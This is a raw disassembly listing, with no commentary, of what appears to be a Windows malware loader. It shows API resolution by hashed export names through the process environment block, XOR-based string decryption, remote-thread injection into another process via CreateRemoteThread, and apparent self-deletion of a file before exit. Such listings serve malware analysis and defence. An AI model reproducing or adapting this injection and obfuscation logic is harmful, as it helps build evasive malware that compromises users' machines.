movdqa xmm5, xmmword [0x1400d5e70]
movdqa xmm4, xmmword [0x1400d6000]
movdqa xmm6, xmmword [0x1400d5e90]
movdqa xmm0, xmmword [str.7777777777777777]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400d5ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400d5ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140046290
cmp r8d, 0x13
jge 0x1400463e3
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x1400463b0
mov rcx, r10
call r11
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140046496
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140046496
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140046491
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140046470
cmp r8d, 0x2fa62ca8
je 0x14004649b
test r9d, r9d
jne 0x140046450
mov rax, qword [rax]
jmp 0x140046420
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0x5dc
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140046546
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140046546
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140046541
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140046520
cmp r8d, 0xa52bcaf9
je 0x14004654b
test r9d, r9d
jne 0x140046500
mov rax, qword [rax]
jmp 0x1400464d0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov r8, qword [0x14064bd10]
test r8, r8
jne 0x14004673a
mov r9d, esi
mov edi, 0xe463da3c
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test r9d, r9d
je 0x1400465ed
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
cmp rcx, r8
je 0x1400465e4
nop
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1400465d0
cmp edx, r9d
jne 0x140046718
mov r10, qword [rsi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rcx, qword [rax + r10 + 0x88]
mov r15, rcx
shr r15, 0x20
mov ebx, ecx
add rbx, r10
cmp rbx, r10
je 0x140046718
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140046718
mov r14d, dword [rbx + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
lea rax, [r14 + r8*4]
mov ecx, dword [rax + r10]
add rcx, r10
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140046666
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x140046650
cmp edx, edi
je 0x140046674
test r8d, r8d
jne 0x140046630
jmp 0x140046718
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov r8d, dword [rcx + rdx*4]
add r8, r10
cmp r8, rbx
jbe 0x1400469b4
lea rax, [rbx + r15]
cmp r8, rax
jae 0x1400469b4
mov r9d, 0x811c9dc5
mov dword [rsp + 0x40], r9d
mov ecx, r9d
mov dword [rsp + 0x44], ecx
movzx eax, byte [r8]
cmp al, 0x2e
je 0x1400466dd
nop dword [rax]
movsx eax, al
xor eax, r9d
imul r9d, eax, 0x1000193
inc r8
movzx eax, byte [r8]
cmp al, 0x2e
jne 0x1400466c0
mov dword [rsp + 0x40], r9d
inc r8
movzx eax, byte [r8]
test al, al
je 0x14004670b
nop dword [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
lea r8, [r8 + 1]
movzx eax, byte [r8]
test al, al
jne 0x1400466f0
mov dword [rsp + 0x44], ecx
mov rsi, qword [r12]
mov rdi, qword [rsp + 0x40]
shr rdi, 0x20
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x14004672e
cmp qword [rax + 0x30], 0
jne 0x1400465a0
xor esi, esi
mov r8d, esi
mov qword [0x14064bd10], r8
lea rdx, [rbp - 0x31]
call fcn.140047310
mov r11, rax
cmp byte [rax + 0xc], 0
je 0x1400468a3
mov r9d, esi
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140046866
movdqa xmm4, xmmword [0x1400d6000]
movdqa xmm2, xmmword [0x1400d5e70]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400d5e90]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400d5ed0]
packuswb xmm2, xmm2
mov eax, dword [str.7777777777777777]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r11]
xorps xmm2, xmm0
movd dword [r11], xmm2
movdqa xmm3, xmmword [0x1400d5e80]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400d5e90]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400d5ed0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r11 + 4]
xorps xmm2, xmm0
movd dword [r11 + 4], xmm2
mov r9d, 8
movsxd r10, r9d
add r10, r11
nop dword [rax]
mov eax, 0x8d3dcb09
imul r9d
add edx, r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r9b
sub al, cl
add al, 0x37
xor byte [r10], al
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xd
jl 0x140046870
mov rcx, r11
call r8
mov r13, rax
mov r8, qword [0x14064bd68]
test r8, r8
jne 0x140046a88
mov r9d, esi
mov edi, 0xf8f45725
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov r12, qword [rcx]
mov rsi, r12
nop dword [rax + rax]
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test r9d, r9d
je 0x14004692d
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
cmp rcx, r8
je 0x140046924
nop
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140046910
cmp edx, r9d
jne 0x140046a68
mov r10, qword [rsi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rcx, qword [rax + r10 + 0x88]
mov r15, rcx
shr r15, 0x20
mov ebx, ecx
add rbx, r10
cmp rbx, r10
je 0x140046a68
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140046a68
mov r14d, dword [rbx + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
lea rax, [r14 + r8*4]
mov ecx, dword [rax + r10]
add rcx, r10
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1400469a6
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x140046990
cmp edx, edi
je 0x1400469bb
test r8d, r8d
jne 0x140046970
jmp 0x140046a68
xor esi, esi
jmp 0x140046733
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov r8d, dword [rcx + rdx*4]
add r8, r10
cmp r8, rbx
jbe 0x140046a81
lea rax, [r15 + rbx]
cmp r8, rax
jae 0x140046a81
mov r9d, 0x811c9dc5
mov dword [rsp + 0x40], r9d
mov ecx, r9d
mov dword [rsp + 0x44], ecx
movzx eax, byte [r8]
cmp al, 0x2e
je 0x140046a2d
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, r9d
imul r9d, eax, 0x1000193
inc r8
movzx eax, byte [r8]
cmp al, 0x2e
jne 0x140046a10
mov dword [rsp + 0x40], r9d
inc r8
movzx eax, byte [r8]
test al, al
je 0x140046a5b
nop dword [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
lea r8, [r8 + 1]
movzx eax, byte [r8]
test al, al
jne 0x140046a40
mov dword [rsp + 0x44], ecx
mov rsi, qword [r12]
mov rdi, qword [rsp + 0x40]
shr rdi, 0x20
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x140046a7e
cmp qword [rax + 0x30], 0
jne 0x1400468e0
xor r8d, r8d
mov qword [0x14064bd68], r8
lea rdx, [rbp - 0x21]
call fcn.140047340
mov r11, rax
xor r14d, r14d
cmp byte [rax + 0xc], r14b
je 0x140046bf3
mov r9d, r14d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140046bb7
movdqa xmm4, xmmword [0x1400d6000]
movdqa xmm2, xmmword [0x1400d5e70]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400d5e90]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400d5ed0]
packuswb xmm2, xmm2
mov eax, dword [str.7777777777777777]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r11]
xorps xmm2, xmm0
movd dword [r11], xmm2
movdqa xmm3, xmmword [0x1400d5e80]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400d5e90]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400d5ed0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r11 + 4]
xorps xmm2, xmm0
movd dword [r11 + 4], xmm2
mov r9d, 8
movsxd r10, r9d
add r10, r11
nop dword [rax]
mov eax, 0x8d3dcb09
imul r9d
add edx, r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r9b
sub al, cl
add al, 0x37
xor byte [r10], al
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xd
jl 0x140046bc0
mov rdx, r11
mov rcx, r13
call r8
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov r15, qword [rbp - 0x49]
mov qword [rsp + 0x20], r15
mov r9, rax
xor r8d, r8d
xor edx, edx
mov r12, qword [rbp - 0x79]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rsi, rax
test rax, rax
jne 0x140047015
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140046cc6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140046cc6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140046cc1
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140046ca0
cmp r8d, 0xe76fb4aa
je 0x140046ccb
test r9d, r9d
jne 0x140046c80
mov rcx, qword [rcx]
jmp 0x140046c50
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
lea rdx, [rbp - 0x71]
call fcn.140047370
mov r10, rax
cmp byte [rax + 0x12], 0
je 0x140046e93
mov r8d, r14d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140046e4d
movdqa xmm5, xmmword [0x1400d5e70]
movdqa xmm4, xmmword [0x1400d6000]
movdqa xmm6, xmmword [0x1400d5e90]
movdqa xmm0, xmmword [str.7777777777777777]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400d5ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400d5ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140046d40
cmp r8d, 0x13
jge 0x140046e93
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x140046e60
mov rcx, r10
call r11
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r15
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140046f46
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140046f46
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140046f41
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140046f20
cmp r8d, 0x2fa62ca8
je 0x140046f4b
test r9d, r9d
jne 0x140046f00
mov rax, qword [rax]
jmp 0x140046ed0
mov edx, dword [rdi + 0x24]
add rdx, r10
movzx r8d, word [rdx + r9*2]
mov edx, dword [rdi + 0x1c]
add rdx, r10
mov eax, dword [rdx + r8*4]
add rax, r10
mov ecx, 0x5dc
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140046ff6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140046ff6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140046ff1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140046fd0
cmp r8d, 0xa52bcaf9
je 0x140046ffb
test r9d, r9d
jne 0x140046fb0
mov rax, qword [rax]
jmp 0x140046f80
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
add rax, r10
call rax
mov edx, 0xffffffff
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r15
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp - 0x71]
call fcn.1400473a0
mov r9, rax
cmp byte [rax + 0x21], 0
je 0x140047203
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400471bf
movdqa xmm5, xmmword [0x1400d5e70]
movdqa xmm4, xmmword [0x1400d6000]
movdqa xmm6, xmmword [0x1400d5e90]
movdqa xmm0, xmmword [str.7777777777777777]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r14d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400d5ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r14 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400d5ed0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r14d, 8
mov eax, r14d
lea rcx, [rcx + 8]
cmp r14d, 0x20
jl 0x1400470b0
cmp eax, 0x22
jge 0x140047203
movsxd r8, r14d
add r8, r9
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r14d
add edx, r14d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r14b
sub al, cl
add al, 0x37
xor byte [r8], al
inc r14d
lea r8, [r8 + 1]
cmp r14d, 0x22
jl 0x1400471d0
mov rcx, r9
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3